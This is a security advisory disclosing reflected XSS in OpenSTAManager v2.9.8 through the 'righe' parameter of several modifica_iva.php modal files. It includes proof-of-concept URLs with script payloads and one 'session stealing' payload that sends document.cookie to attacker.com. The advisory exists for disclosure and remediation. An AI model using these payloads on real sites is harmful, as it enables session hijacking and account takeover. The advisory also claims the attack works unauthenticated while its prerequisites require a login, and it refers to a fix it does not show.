GHSA-jfgp-g7x7-j25j: OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter
SummaryMultiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.**Vulnerable Parameter:** `righe` (GET)DetailsOpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.**Vulnerable Code Location:**
File: `/modules/contratti/modals/modifica_iva.php` (Line 125)The `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.**All Affected Files:**`/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**`/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**`/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**`/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**`/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**`/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**PoC**Prerequisites:**Running instance of OpenSTAManager v2.9.8Valid admin credentials (username: admin, password: admin for test instance)**Step 1: Login****Step 2: Trigger XSS**
Navigate to the following URL in a browser (or use curl with cookies):**Tested URLs (All vulnerable):**`https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>``https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>``https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>``https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>``https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>``https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`**Expected Result:**
JavaScript alert popup displays showing the current session cookie, confirming code execution.**HTML Output (verified on live instance):****Verification:****Alternative Payloads:**
Session stealing: `"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`Impact**Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.**Attack Scenario:**Attacker crafts malicious URL with XSS payloadAttacker sends URL to victim via email/chat/phishingVictim (authenticated user) clicks the linkMalicious JavaScript executes in victim's browser contextAttacker can:Steal session cookies → Full account takeoverPerform actions on behalf of victim (create/modify/delete records)Steal CSRF tokens and bypass CSRF protectionRedirect to phishing pageInject keylogger to capture sensitive dataModify page content to trick user into revealing credentials**Recommended Fix:**Apply this fix to all affected files listed in Details section.
CVSS v4.0: 5.1